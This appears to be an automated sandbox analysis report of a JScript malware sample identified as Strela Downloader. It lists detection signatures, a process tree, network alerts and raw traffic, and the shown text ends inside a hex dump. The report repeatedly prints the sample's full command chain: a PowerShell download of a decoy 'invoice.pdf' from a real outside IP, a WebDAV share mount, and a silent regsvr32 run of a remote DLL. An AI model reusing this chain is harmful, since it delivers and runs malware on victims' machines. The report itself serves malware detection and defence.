Edit tour

Windows Analysis Report
19048239772762424923.js

Overview

General Information

Sample name:	19048239772762424923.js
Analysis ID:	1587861
MD5:	7c5daa83a856f1f45af2dc6f0ad0d8c6
SHA1:	077d87518e86d9545cc1db96426db29c07ea5cc3
SHA256:	eae8c9a878fa6ba7268626ffa78a3a827c03775df70fa00e6e35ad611e554ca1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2408 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 344 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2440 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7312 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7524 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7716 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1796,i,7737325079368609932,1276882422603953264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7328 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7360 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7592 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2408	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2440, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2440, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ProcessId: 2408, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7360, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ProcessId: 2408, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2440, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7328, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7360, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7592, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7328, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7360, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 344, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:42:55.834644+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:42:53.370349+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 19048239772762424923.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 19048239772762424923.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:42:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 